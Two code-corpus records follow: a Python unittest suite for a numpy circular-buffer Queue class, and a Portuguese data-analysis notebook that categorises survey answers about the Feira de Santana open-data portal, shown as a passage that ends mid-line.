{"text": "#!/bin/env python\r\n# -*- coding: utf-8 -*-\r\n\"\"\"test Queue\r\n    by Valentyn Stadnytskyi\r\n     created: August 2, 2019\r\n    This is a test library to evaluate the performance of the code.\r\n    Queue is an abstract data structure, somewhat similar to Stacks.\r\n    Unlike stacks, a queue is open at both its ends.\r\n    One end is always used to insert data (enqueue)\r\n    and the other is used to remove data (dequeue)\r\n\r\n    to run unittest: python3 -m unittest test_queue\r\n\"\"\"\r\n\r\nimport unittest\r\nimport logging\r\n# from numpy.testing import assert_, assert_almost_equal, assert_equal\r\n\r\nfrom ..queue import Queue\r\n\r\nclass QueueTest(unittest.TestCase):\r\n\r\n    def test_queue_rear(self):\r\n        \"\"\"\r\n        the freshly created queue has 'rear' value of 0 (the next available pointer in the queue buffer).\r\n        \"\"\"\r\n        queue = Queue(shape=(100, 2, 2, 2))\r\n        self.assertEqual(queue.rear, 0)\n\r\n    def test_attributes(self):\r\n        \"\"\"\r\n        various build-in attributes.\r\n        \"\"\"\r\n        from numpy import random\r\n        queue = Queue(shape=(100, 2, 3, 4), dtype='int16')\r\n        data = random.randint(1024, size=(5, 2, 3, 4))\r\n        self.assertEqual(queue.isempty, True)\r\n        queue.enqueue(data)\r\n        self.assertEqual(queue.length, 5)\r\n        self.assertEqual(queue.rear, 5)\r\n        self.assertEqual(queue.shape, (100, 2, 3, 4))\r\n        self.assertEqual(queue.size, 100*2*3*4)\r\n        self.assertEqual(queue.dtype, 'int16')\r\n        self.assertEqual(queue.isfull, False)\r\n        self.assertEqual(queue.isempty, False)\r\n\r\n    def test_reshape(self):\r\n        \"\"\"\r\n        reshaping operation\r\n        \"\"\"\r\n        queue = Queue(shape=(100, 2, 3, 4), dtype='int16')\r\n        queue.reshape(shape=(50, 2, 3, 4), dtype='float64')\r\n        self.assertEqual(queue.length, 0)\r\n        self.assertEqual(queue.rear, 0)\r\n        self.assertEqual(queue.shape, (50, 2, 3, 4))\r\n        self.assertEqual(queue.size, 50*2*3*4)\r\n        self.assertEqual(queue.dtype, 'float64')\r\n\r\n    def test_loop_around(self):\r\n        queue = Queue(shape=(100, 2, 3, 4), dtype='int16')\r\n        queue.reshape(shape=(50, 2, 3, 4), dtype='float64')\r\n        self.assertEqual(queue.length, 0)\r\n        self.assertEqual(queue.rear, 0)\r\n        self.assertEqual(queue.shape, (50, 2, 3, 4))\r\n        self.assertEqual(queue.size, 50*2*3*4)\r\n        self.assertEqual(queue.dtype, 'float64')\r\n\r\n    def test_peak_first_N(self):\r\n        from numpy import random, array\r\n        queue = Queue(shape=(10, 2), dtype='int16')\r\n\r\n        self.assertEqual(queue.length, 0)\r\n        self.assertEqual(queue.rear, 0)\r\n        self.assertEqual(queue.shape, (10, 2))\r\n        self.assertEqual(queue.size, 10*2)\r\n        self.assertEqual(queue.dtype, 'int16')\r\n\r\n        queue.buffer[:,0] = array(range(10))\r\n        queue.buffer[:,1] = array(range(10))*10\r\n\r\n        for i in range(10):\r\n            for j in range(1,10):\r\n                queue.rear = i\r\n                queue.length = j\r\n                arr = queue.peek_first_N(j)\r\n                arr2 = queue.dequeue(j)\r\n                self.assertEqual((arr==arr2).all(),True)\r\n\r\n\r\n    def test_peek_last_N(self):\r\n        queue = Queue(shape=(10, 2, 3, 4), dtype='int16')\r\n        self.assertEqual(queue.length, 0)\r\n        self.assertEqual(queue.rear, 0)\r\n        self.assertEqual(queue.shape, (10, 2, 3, 4))\r\n        self.assertEqual(queue.size, 10*2*3*4)\r\n        self.assertEqual(queue.dtype, 'int16')\r\n\r\n        from numpy import random\r\n        arr_rand = random.randint(4096,size = (25,2,3,4))\r\n        queue.reset()\r\n        j = 0\r\n        for i in range(25):\r\n            j+=1\r\n            queue.enqueue(arr_rand[i].reshape(1,2,3,4))\r\n            if i > queue.shape[0]:\r\n                self.assertEqual(queue.length,queue.shape[0])\r\n            self.assertEqual((queue.peek_last_N(1) == arr_rand[i]).all(), True)\r\n\r\n            self.assertEqual(queue.global_rear,j)\r\n\r\n        self.assertEqual((queue.peek_last_N(1) == arr_rand[-1]).all(), True)\r\n        self.assertEqual((queue.peek_last_N(2) == arr_rand[-2:]).all(), True)\r\n        self.assertEqual((queue.peek_last_N(5) == arr_rand[-5:]).all(), True)\r\n        print('10',queue.peek_last_N(10),arr_rand[-10:])\r\n        self.assertEqual((queue.peek_last_N(10) == arr_rand[-10:]).all(), True)\r\n\r\n        dequeue_data = queue.dequeue(10)\r\n        self.assertEqual(queue.length, 0)\r\n        self.assertEqual(queue.rear, 5)\r\n        self.assertEqual(queue.global_rear, 25)\r\n        self.assertEqual((dequeue_data == arr_rand[-10:]).all(), True)\r\n\r\n    def test_peek_i_j(self):\r\n        from numpy import random\r\n        queue = Queue(shape=(10, 2, 2), dtype='int16')\r\n        self.assertEqual(queue.length, 0)\r\n        self.assertEqual(queue.rear, 0)\r\n        self.assertEqual(queue.shape, (10, 2, 2))\r\n        self.assertEqual(queue.size, 10*2*2)\r\n        self.assertEqual(queue.dtype, 'int16')\r\n        arr_in = random.randint(4096,size = (1,2,2))*0+1\r\n        for i in range(10):\r\n            queue.enqueue(arr_in*i)\r\n        self.assertEqual(queue.dtype, 'int16')\r\n        self.assertEqual(queue.peek_i_j(0,1)[0,0,0],0)\r\n        self.assertEqual(queue.peek_i_j(0,2)[0,0,0],0)\r\n\r\n    def test_peek_i_j_2(self):\r\n        from numpy import random\r\n        queue = Queue(shape=(100, 10), dtype='int16')\r\n        queue.length = 48\r\n        queue.rear = 48\r\n        i_pointer = 84\r\n        j_pointer = 0\r\n        self.assertEqual(queue.peek_i_j(i_pointer, j_pointer).shape,  (16, 10))\r\n\r\n        i_pointer = 20\r\n        j_pointer = 36\r\n        self.assertEqual(queue.peek_i_j(i_pointer, j_pointer).shape,  (16, 10))\r\n\r\n\r\n\r\n\r\n    def test_peek_all(self):\r\n        queue = Queue(shape=(10, 2, 3, 4), dtype='int16')\r\n        self.assertEqual(queue.length, 0)\r\n        self.assertEqual(queue.rear, 0)\r\n        self.assertEqual(queue.shape, (10, 2, 3, 4))\r\n        self.assertEqual(queue.size, 10*2*3*4)\r\n        self.assertEqual(queue.dtype, 'int16')\r\n\r\n        from numpy import random\r\n        arr_rand = random.randint(4096,size = (25,2,3,4))\r\n        queue.reset()\r\n        j = 0\r\n        for i in range(25):\r\n            arr_rand[i][0,0,0] = i\r\n            queue.enqueue(arr_rand[i].reshape(1,2,3,4))\r\n            self.assertEqual(queue.peek_last_N(1)[0,0,0,0] ,i)\r\n            j+=1\r\n            if j > queue.shape[0]:\r\n                self.assertEqual(queue.length,queue.shape[0])\r\n            else:\r\n                self.assertEqual(queue.length,j)\r\n        self.assertEqual((queue.peek_all() == arr_rand[15:]).all(), True)\r\n\r\n        #the queue.rear pointer has to point at empty space in the queue.\r\n        self.assertEqual(queue.buffer[queue.rear-1][0,0,0],i)\r\n        self.assertEqual(queue.peek_last_N(1)[0,0,0,0] ,i)\r\n\r\n    def test_dequeue(self):\r\n        \"\"\"\r\n        Testing dequeue operaritoin via writing and reading data from a queue multipletimes and keeping track of counters and length.\r\n        \"\"\"\r\n        from numpy import random\r\n        queue = Queue(shape=(11, 2, 3, 4), dtype='int16')\r\n        for i in range(100):\r\n            arr_in = random.randint(4096,size = (2,2,3,4))\r\n            queue.enqueue(arr_in)\r\n            arr_out = queue.dequeue(2)\r\n            self.assertEqual((arr_in==arr_out).all(), True)\r\n            self.assertEqual(queue.length,0)\r\n            self.assertEqual(queue.global_rear,(i+1)*2)\r\n            self.assertEqual(queue.rear,2*(i+1)-int(2*(i+1)/11)*11)\r\n\r\n        from numpy import random\r\n        queue = Queue(shape=(32, 2, 3, 4), dtype='int16')\r\n        for i in range(100):\r\n            arr_in = random.randint(4096,size = (1,2,3,4))\r\n            queue.enqueue(arr_in)\r\n            self.assertEqual(queue.length,1)\r\n            arr_out = queue.dequeue(1)\r\n            self.assertEqual((arr_in==arr_out).all(), True)\r\n            self.assertEqual(queue.length,0)\r\n            self.assertEqual(queue.global_rear,(i+1)*1)\r\n            self.assertEqual(queue.rear,1*(i+1)-int(1*(i+1)/queue.shape[0])*queue.shape[0])\r\n\r\n    def test_dequeue_2(self):\r\n        \"\"\"\r\n        Test to check if queue can perform in case of DI-4108 DATAQ operation mode.\r\n        \"\"\"\r\n        from numpy import random\r\n        queue = Queue(shape=(100,10), dtype='int16')\r\n        for i in range(5): queue.enqueue( random.randint(0,4096,(16,10)) )\r\n        for i in range(1000):\r\n            self.assertEqual(queue.dequeue(16).shape,(16,10))\r\n            queue.enqueue(random.randint(0,4096,(16,10)) )\r\n\r\n\r\n\r\n    def test_1(self):\r\n        from numpy import std, random\r\n        queue = Queue(shape=(100, 2, 2, 2))\r\n        data = random.randint(0,1024, size=(5, 2, 2, 2))\r\n        queue.enqueue(data)\r\n        self.assertEqual(queue.length, 5)\r\n        self.assertEqual(queue.rear, 5)\r\n        queue.enqueue(data)\r\n        dequeue_data = queue.dequeue(N=3)\r\n        self.assertEqual(queue.length, 7)\r\n        self.assertEqual(dequeue_data.shape, data[:3].shape)\r\n        self.assertEqual(std(dequeue_data), std(data[:3]))\r\n\r\n    def test_threaded_1(self):\r\n        from numpy import zeros,arange,copy\r\n        from time import sleep\r\n        queue = Queue(shape=(4, 3000, 4096), dtype='int16')\r\n        for i in range(10):\r\n            arr_in = zeros((1,3000,4096),dtype ='int16')+i\r\n            queue.enqueue(arr_in)\r\n            arr_out = queue.dequeue(1)[-1]\r\n            self.assertEqual(i,arr_out[0,0])\r\n\r\n        from ubcs_auxiliary.threading import new_thread\r\n\r\n        def run(queue):\r\n            for i in range(100):\r\n                from time import sleep\r\n                arr_in = zeros((1,3000,4096),dtype ='int16')+i\r\n                queue.enqueue(arr_in)\r\n                sleep(0.1)\r\n        new_thread(run, queue)\r\n        j = 0\r\n        arr2 = arange(0,99)\r\n        arr = copy(arr2)*0\r\n\r\n        while j < 99:\r\n            if queue.length > 0:\r\n                arr_out = queue.dequeue(1)[-1]\r\n                self.assertEqual(j,arr_out[0,0])\r\n                arr[j] = arr_out[0,0]\r\n                j+=1\r\n                logging.debug(f'dequeue: {j}')\r\n            sleep(0.03)\r\n\r\n        self.assertEqual((arr==arr2).all(),True)\r\n\r\n    def test_dequeue_async(self):\r\n        #from circular_buffer_numpy.queue import Queue\r\n        from numpy import zeros,arange,copy, random\r\n        from time import sleep\r\n        queue = Queue(shape=(16, 3000, 4096), dtype='int16')\r\n        from ubcs_auxiliary.threading import new_thread\r\n        queue.reset()\r\n        j = 0\r\n        arr2 = arange(0,499)\r\n        arr = copy(arr2)*0\r\n        for i in range(500):\r\n            from time import sleep\r\n            arr_in = random.randint(0,4096,(1,3000,4096),dtype ='int16')\r\n            arr_in[0,0,0] = i\r\n            queue.enqueue(arr_in)\r\n            sleep(0.2)\r\n            if i%5 == 0:\r\n                while queue.length > 0:\r\n                    arr_out = queue.dequeue(1)[-1]\r\n                    #print(j,arr_out[0,0,0])\r\n                    arr[j] = arr_out[0,0]\r\n                    #print(f'dequeue: {arr_out[0,0]}, {j}, {arr_out[0,0]==j}')\r\n                    self.assertEqual(arr_out[0,0],j)\r\n                    j+=1\r\n", "meta": {"hexsha": "18ce7135023c336e91bea992883210c9b4d927cb", "size": 11072, "ext": "py", "lang": "Python", "max_stars_repo_path": "circular_buffer_numpy/tests/test_queue.py", "max_stars_repo_name": "vstadnytskyi/circular_buffer_numpy", "max_stars_repo_head_hexsha": "1dd38ca4da674f9ca5bd6cf2324e8519d5583933", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 7, "max_stars_repo_stars_event_min_datetime": "2020-04-29T01:31:46.000Z", "max_stars_repo_stars_event_max_datetime": "2021-08-29T13:33:35.000Z", "max_issues_repo_path": "circular_buffer_numpy/tests/test_queue.py", "max_issues_repo_name": "vstadnytskyi/circular_buffer_numpy", "max_issues_repo_head_hexsha": "1dd38ca4da674f9ca5bd6cf2324e8519d5583933", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2019-11-02T20:34:53.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-29T16:23:44.000Z", "max_forks_repo_path": "circular_buffer_numpy/tests/test_queue.py", "max_forks_repo_name": "vstadnytskyi/circular_buffer_numpy", "max_forks_repo_head_hexsha": "1dd38ca4da674f9ca5bd6cf2324e8519d5583933", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-05-19T14:11:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-05-19T14:11:47.000Z", "avg_line_length": 37.9178082192, "max_line_length": 134, "alphanum_fraction": 0.559158237, "include": true, "reason": "from numpy", "num_tokens": 2863, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4532618480153861, "lm_q2_score": 0.12940274334274965, "lm_q1q2_score": 0.058653326585795404}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Conhecendo os Dados\n\n# In[103]:\n\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\nfrom unidecode import unidecode\n\npesquisa = pd.read_csv(\"resultados-pesquisa-anonimizado.csv\")\npesquisa.info()\n\n\n# In[104]:\n\n\npesquisa.describe()[:2]\n\n\n# Inicialmente, podemos ver que todos os campos do resultado da pesquisa consistem de objetos, provavelmente representando informa\u00e7\u00f5es textuais. Isso tamb\u00e9m \u00e9 resultado da forma como os dados foram armazenados na planilha no Google Sheets.\n#\n# Analisando as colunas, podemos considerar que a informa\u00e7\u00e3o de data/hora da resposta da pesquisa pode ser descartada, j\u00e1 que n\u00e3o traz um dado que possa ser analisado em conjunto com os demais, representando apenas o momento em que aquela resposta foi preenchida.\n#\n# A maioria das demais colunas possuem quase que todos os registros com valores \u00fanicos. Supondo que isso seja resultado da inser\u00e7\u00e3o da informa\u00e7\u00e3o por um campo de texto, podemos tentar analisar respostas que sejam semelhantes e agrup\u00e1-las, criando categorias que possam ser mais \u00fateis para a an\u00e1lise.\n#\n# A coluna que menos apresenta valores \u00fanicos para os seus registros \u00e9 a pergunta <i>\"Com qual frequ\u00eancia voc\u00ea busca por informa\u00e7\u00f5es fornecidas pela prefeitura de Feira de Santana?\"</i>. Supondo que a pergunta tenha disponibilizado op\u00e7\u00f5es para resposta, isso faz sentido. Ainda assim, a pergunta sup\u00f5e uma ordena\u00e7\u00e3o entre as respostas, que buscaremos evidenciar.\n\n# In[105]:\n\n\npesquisa.drop([\"Carimbo de data/hora\"], axis=1, inplace=True)\n\n\n# # Limpeza e Exibi\u00e7\u00e3o dos Dados\n\n# ## Ocupa\u00e7\u00e3o\n\n# In[106]:\n\n\npesquisa[\"Qual sua atual ocupa\u00e7\u00e3o (profiss\u00e3o ou estudante)? \"].unique()\n\n\n# Vendo os resultados \u00fanicos e o texto da coluna para a pergunta sobre ocupa\u00e7\u00e3o, podemos fazer uma breve limpeza nos dados e classifica\u00e7\u00e3o, criando uma nova coluna.\n\n# In[107]:\n\n\npesquisa[\"OCUPACAO\"] = (\n    pesquisa[\"Qual sua atual ocupa\u00e7\u00e3o (profiss\u00e3o ou estudante)? \"]\n    .fillna(\"N\u00e3o informado\")\n    .apply(str.strip)\n    .apply(str.title)\n)\n\n\n# In[108]:\n\n\npesquisa[\"OCUPACAO\"].sort_values().unique()\n\n\n# Analisando novamente as profiss\u00f5es, podemos considerar algumas categorias.\n#\n# \"Bombeiro Militar\", \"Policial Militar\" e \"Pol\u00edcial Militar\" podem ser agrupados em uma categoria \"Militar\".\n#\n# \"Professor\" e \"Professora\" podem ser agrupados em \"Professor/Professora\".\n#\n# \"Promotor De Vendas\" e \"Representante\" podem ser agrupados em \"Vendas\".\n#\n# \"Publicit\u00e1ria\" e \"Publicit\u00e1rio E Locutor\" podem ser agrupados em \"Publicit\u00e1rio/Publicit\u00e1ria\".\n#\n# As demais ocupa\u00e7\u00f5es n\u00e3o parecem se agrupar naturalmente.\n\n# In[109]:\n\n\ndef categorize_profession(profession):\n    if \"militar\" in profession.lower():\n        return \"Militar\"\n    if \"professor\" in profession.lower():\n        return \"Professor/Professora\"\n    if profession in (\"Promotor De Vendas\", \"Representante\"):\n        return \"Vendedor/Representante\"\n    if \"publicit\" in profession.lower():\n        return \"Publicit\u00e1rio/Publicit\u00e1ria\"\n    if \"community manager\" in profession.lower():\n        return \"Organizador de Comunidade\"\n    else:\n        return profession\n\n\npesquisa[\"OCUPACAO_CATEGORY\"] = pesquisa[\"OCUPACAO\"].apply(categorize_profession)\n\n\n# In[110]:\n\n\npesquisa.groupby(\"OCUPACAO_CATEGORY\").size().sort_values().plot(\n    kind=\"barh\", title=\"Ocupa\u00e7\u00e3o Profissional\"\n)\n\n\n# ## Frequ\u00eancia de Busca de Informa\u00e7\u00f5es\n\n# In[111]:\n\n\n# Reescrevendo a resposta em uma escrita mais concisa\npesquisa.loc[\n    pesquisa[\n        \"Com qual frequ\u00eancia voc\u00ea busca por informa\u00e7\u00f5es fornecidas pela prefeitura de Feira de Santana?\"\n    ]\n    == \"Depende da semana, mas geralmente mais de uma vez por semana. \",\n    \"Com qual frequ\u00eancia voc\u00ea busca por informa\u00e7\u00f5es fornecidas pela prefeitura de Feira de Santana?\",\n] = \"Mais de 1 vez por semana\"\n\n\n# In[112]:\n\n\npesquisa[\n    \"Com qual frequ\u00eancia voc\u00ea busca por informa\u00e7\u00f5es fornecidas pela prefeitura de Feira de Santana?\"\n].value_counts()\n\n\n# As informa\u00e7\u00f5es j\u00e1 est\u00e3o bem descritas, e podemos exibir os dados de forma ordenada.\n\n# In[113]:\n\n\norder = [\n    \"Todos os dias\",\n    \"Mais de 1 vez por semana\",\n    \"1 vez por semana\",\n    \"1 vez por m\u00eas\",\n    \"Quase nunca\",\n    \"Nunca busquei\",\n]\npesquisa[\n    \"Com qual frequ\u00eancia voc\u00ea busca por informa\u00e7\u00f5es fornecidas pela prefeitura de Feira de Santana?\"\n].value_counts().reindex(order).plot(\n    kind=\"barh\", title=\"Frequ\u00eancia de busca de informa\u00e7\u00f5es\"\n)\n\n\n# ## Expectativa das Informa\u00e7\u00f5es\n\n# In[114]:\n\n\npesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea ESPERA encontrar no Dados abertos de Feira? (Coisas que voc\u00ea acredita que \u00e9 certeza ter)\"\n].value_counts()\n\n\n# Podemos notar que todas as respostas s\u00e3o distintas entre si, provavelmente resultado da coleta atrav\u00e9s de uma caixa de texto.\n#\n# Assim como fizemos em outras perguntas, podemos estabelecer categorias atrav\u00e9s de palavras-chave. Como a quantidade de respostas n\u00e3o \u00e9 muito extensa, \u00e9 poss\u00edvel fazer uma an\u00e1lise em cada uma das respostas.\n#\n# Em uma observa\u00e7\u00e3o das respostas, podemos estabelecer as seguintes categorias:\n#\n# 1. Investimentos (infraestrutura, despesas gerais, sal\u00e1rio);\n# 2. Sa\u00fade;\n# 3. Educa\u00e7\u00e3o;\n# 4. Seguran\u00e7a;\n# 5. Or\u00e7amento (verba);\n# 6. Transpar\u00eancia;\n# 7. Outros;\n#\n# Uma resposta pode estar representada em mais de uma categoria. Assim, a soma das categorias pode ser maior que a quantidade de respostas obtidas.\n\n# In[115]:\n\n\ndef categorize_expectation_public_investments(answer):\n    if any(\n        x in unidecode(answer.lower())\n        for x in [\n            \"servidor\",\n            \"investimento\",\n            \"obra\",\n            \"urbanizacao\",\n            \"salario\",\n            \"compra\",\n            \"dinheiro\",\n            \"bairro\",\n            \"recurso\",\n            \"gasto\",\n            \"licitacao\",\n            \"licitacoes\",\n        ]\n    ):\n        return 1\n    return 0\n\n\ndef categorize_expectation_public_health(answer):\n    if any(x in unidecode(answer.lower()) for x in [\"saude\"]):\n        return 1\n    return 0\n\n\ndef categorize_expectation_public_education(answer):\n    if any(x in unidecode(answer.lower()) for x in [\"educacao\", \"escola\", \"colegio\"]):\n        return 1\n    return 0\n\n\ndef categorize_expectation_public_safety(answer):\n    if any(x in unidecode(answer.lower()) for x in [\"seguranca\"]):\n        return 1\n    return 0\n\n\ndef categorize_expectation_public_budget(answer):\n    if any(x in unidecode(answer.lower()) for x in [\"verba\", \"dinheiro\", \"receita\"]):\n        return 1\n    return 0\n\n\ndef categorize_expectation_public_transparency(answer):\n    if any(\n        x in unidecode(answer.lower())\n        for x in [\n            \"informacoes\",\n            \"informacao\",\n            \"transparencia\",\n            \"gasto\",\n            \"dados\",\n            \"verdade\",\n            \"clareza\",\n        ]\n    ):\n        return 1\n    return 0\n\n\ndef categorize_expectation_others(answer):\n    if any(\n        x in unidecode(answer.lower())\n        for x in [\"geral\", \"relato\", \"proposta\", \"grafico\"]\n    ):\n        return 1\n    return 0\n\n\ndef categorize_information(answer):\n    if any(\n        x in unidecode(answer.lower())\n        for x in [\n            \"retorno\",\n            \"gastos\",\n            \"questionamento\",\n            \"atende\",\n            \"conteudo\",\n            \"informacao\",\n            \"informacoes\",\n            \"dados\",\n            \"confiabilidade\",\n            \"resumo\",\n            \"divulgacao\",\n        ]\n    ):\n        return 1\n    return 0\n\n\ndef categorize_frequency(answer):\n    if any(\n        x in unidecode(answer.lower())\n        for x in [\n            \"frequente\",\n            \"atualizacao\",\n            \"tempo real\",\n            \"atualizados\",\n            \"atualizadas\",\n        ]\n    ):\n        return 1\n    return 0\n\n\ndef categorize_usability(answer):\n    if any(\n        x in unidecode(answer.lower())\n        for x in [\"facilidade\", \"intuitiva\", \"intuitivo\",]\n    ):\n        return 1\n    return 0\n\n\npesquisa[\"ANSWER_INVESTMENT\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea ESPERA encontrar no Dados abertos de Feira? (Coisas que voc\u00ea acredita que \u00e9 certeza ter)\"\n].apply(categorize_expectation_public_investments)\n\npesquisa[\"ANSWER_HEALTH\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea ESPERA encontrar no Dados abertos de Feira? (Coisas que voc\u00ea acredita que \u00e9 certeza ter)\"\n].apply(categorize_expectation_public_health)\n\npesquisa[\"ANSWER_EDUCATION\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea ESPERA encontrar no Dados abertos de Feira? (Coisas que voc\u00ea acredita que \u00e9 certeza ter)\"\n].apply(categorize_expectation_public_education)\n\npesquisa[\"ANSWER_SAFETY\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea ESPERA encontrar no Dados abertos de Feira? (Coisas que voc\u00ea acredita que \u00e9 certeza ter)\"\n].apply(categorize_expectation_public_safety)\n\npesquisa[\"ANSWER_BUDGET\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea ESPERA encontrar no Dados abertos de Feira? (Coisas que voc\u00ea acredita que \u00e9 certeza ter)\"\n].apply(categorize_expectation_public_budget)\n\npesquisa[\"ANSWER_TRANSPARENCY\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea ESPERA encontrar no Dados abertos de Feira? (Coisas que voc\u00ea acredita que \u00e9 certeza ter)\"\n].apply(categorize_expectation_public_transparency)\n\npesquisa[\"ANSWER_OTHERS\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea ESPERA encontrar no Dados abertos de Feira? (Coisas que voc\u00ea acredita que \u00e9 certeza ter)\"\n].apply(categorize_expectation_others)\n\n\n# In[116]:\n\n\nlabels = {\n    \"ANSWER_INVESTMENT\": \"INVESTIMENTO\",\n    \"ANSWER_HEALTH\": \"SA\u00daDE\",\n    \"ANSWER_EDUCATION\": \"EDUCA\u00c7\u00c3O\",\n    \"ANSWER_SAFETY\": \"SEGURAN\u00c7A\",\n    \"ANSWER_BUDGET\": \"OR\u00c7AMENTO\",\n    \"ANSWER_TRANSPARENCY\": \"TRANSPAR\u00caNCIA\",\n    \"ANSWER_OTHERS\": \"OUTROS\",\n}\npesquisa[\n    [\n        \"ANSWER_INVESTMENT\",\n        \"ANSWER_HEALTH\",\n        \"ANSWER_EDUCATION\",\n        \"ANSWER_SAFETY\",\n        \"ANSWER_BUDGET\",\n        \"ANSWER_TRANSPARENCY\",\n        \"ANSWER_OTHERS\",\n    ]\n].apply(np.sum).rename(index=labels).sort_values().plot(\n    kind=\"barh\", title=\"Expectativa do tipo de informa\u00e7\u00e3o\"\n)\n\n\n# ## Informa\u00e7\u00f5es Adicionais\n\n# In[117]:\n\n\npesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n].value_counts()\n\n\n# Em rela\u00e7\u00e3o \u00e0 pergunta de quais informa\u00e7\u00f5es seria interessante existirem no portal (indo al\u00e9m do obrigat\u00f3rio), novamente temos respostas \u00fanicas para cada respondente. Isso \u00e9 esperado, decorrente da forma discursiva da coleta dos dados. Faremos a categoriza\u00e7\u00e3o de forma semelhante \u00e0 pergunta anterior.\n\n# In[118]:\n\n\npesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n].fillna(\n    \"\"\n)\n\n\n# In[119]:\n\n\npesquisa[\"SECOND_ANSWER_INVESTMENT\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n].apply(categorize_expectation_public_investments)\n\npesquisa[\"SECOND_ANSWER_HEALTH\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n].apply(categorize_expectation_public_health)\n\npesquisa[\"SECOND_ANSWER_EDUCATION\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n].apply(categorize_expectation_public_education)\n\npesquisa[\"SECOND_ANSWER_SAFETY\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n].apply(categorize_expectation_public_safety)\n\npesquisa[\"SECOND_ANSWER_BUDGET\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n].apply(categorize_expectation_public_budget)\n\npesquisa[\"SECOND_ANSWER_TRANSPARENCY\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n].apply(categorize_expectation_public_transparency)\n\npesquisa[\"SECOND_ANSWER_OTHERS\"] = pesquisa[\n    \"Que tipo de informa\u00e7\u00e3o voc\u00ea GOSTARIA que tivesse em um portal de transpar\u00eancia de dados da cidade? (Coisas que v\u00e3o al\u00e9m do obrigado a ter)\"\n].apply(categorize_expectation_others)\n\n\n# In[120]:\n\n\nlabels = {\n    \"SECOND_ANSWER_INVESTMENT\": \"INVESTIMENTO\",\n    \"SECOND_ANSWER_HEALTH\": \"SA\u00daDE\",\n    \"SECOND_ANSWER_EDUCATION\": \"EDUCA\u00c7\u00c3O\",\n    \"SECOND_ANSWER_SAFETY\": \"SEGURAN\u00c7A\",\n    \"SECOND_ANSWER_BUDGET\": \"OR\u00c7AMENTO\",\n    \"SECOND_ANSWER_TRANSPARENCY\": \"TRANSPAR\u00caNCIA\",\n    \"SECOND_ANSWER_OTHERS\": \"OUTROS\",\n}\npesquisa[\n    [\n        \"SECOND_ANSWER_INVESTMENT\",\n        \"SECOND_ANSWER_HEALTH\",\n        \"SECOND_ANSWER_EDUCATION\",\n        \"SECOND_ANSWER_SAFETY\",\n        \"SECOND_ANSWER_BUDGET\",\n        \"SECOND_ANSWER_TRANSPARENCY\",\n        \"SECOND_ANSWER_OTHERS\",\n    ]\n].apply(np.sum).rename(index=labels).sort_values().plot(\n    kind=\"barh\", title=\"Informa\u00e7\u00f5es al\u00e9m do obrigat\u00f3rio\"\n)\n\n\n# ## Incentivo a Retorno\n\n# In[121]:\n\n\npesquisa[\n    \"O que lhe faria voltar a consultar o portal Dados abertos de Feira com frequ\u00eancia?\"\n].value_counts()\n\n\n# Para a quest\u00e3o \"O que lhe faria voltar a consultar o portal Dados abertos de Feira com frequ\u00eancia?\", temos novamente respostas diferentes entre os respondentes. Faremos uma categoriza\u00e7\u00e3o assim como nas perguntas anteriores.\n\n# In[122]:\n\n\npesquisa[\"THIRD_ANSWER_INFO\"] = pesquisa[\n    \"O que lhe faria voltar a consultar o portal Dados abertos de Feira com frequ\u00eancia?\"\n].apply(categorize_information)\n\npesquisa[\"THIRD_ANSWER_FREQ\"] = pesquisa[\n    \"O que lhe faria voltar a consultar o portal Dados abertos de Feira com frequ\u00eancia?\"\n].apply(categorize_frequency)\n\npesquisa[\"THIRD_ANSWER_USABILITY\"] = pesquisa[\n    \"O que lhe faria voltar a consultar o portal Dados abertos de Feira com 